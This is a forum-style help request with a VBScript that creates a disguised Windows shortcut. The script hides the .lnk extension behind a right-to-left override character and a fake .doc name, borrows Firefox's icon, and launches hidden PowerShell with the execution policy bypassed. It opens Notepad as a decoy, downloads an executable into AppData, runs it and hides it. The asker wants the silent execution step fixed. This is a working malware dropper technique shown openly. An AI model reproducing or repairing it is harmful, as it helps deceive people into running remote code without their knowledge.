Executing downloaded file in download location. Vbscript

[cloudserver]

I in situation where I am trying to make a shortcut file that download putty.exe into %appdata% directory and also execute the downloaded file in windows but the active script below just downloads putty.exe into %appdata% directory without executing the setupfile downloaded into %appdata%.
 

Dim DownLoadLink, FileName
DownLoadLink = "'https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe'"
FileName = "'%AppData%\putty.exe'"

Set WshShell = CreateObject("WScript.Shell")
Set ShApp = CreateObject("Shell.Application")
DesktopPath = ShApp.Namespace(0).Self.Path
unicode = Unescape("%u0052%u0065%u0061%u0064%u004d%u0065%u005f%u202e%u0074%u0078%u0074%u002e%u006c%u006e%u006b")
unicodeName = "unicode.lnk"
shortcutPath = DesktopPath & "\" & unicodeName
Set lnk = WshShell.CreateShortcut(shortcutPath)
lnk.TargetPath = "powershell.exe"
lnk.Arguments =  "-ExecutionPolicy Bypass -WindowStyle Hidden -Command notepad.exe;(new-object System.Net.WebClient).DownloadFile(" & DownLoadLink & "," & FileName & ");./" & Filename & ";(get-item " & Filename & ").Attributes += 'Hidden';"
lnk.IconLocation = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
lnk.Description = "Type: Shortcut File"
lnk.Save()
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file = FSO.GetFile(shortcutPath)
file.name = unicode & ".doc"

Any prossible solution this problem will be appreciated. Thanks
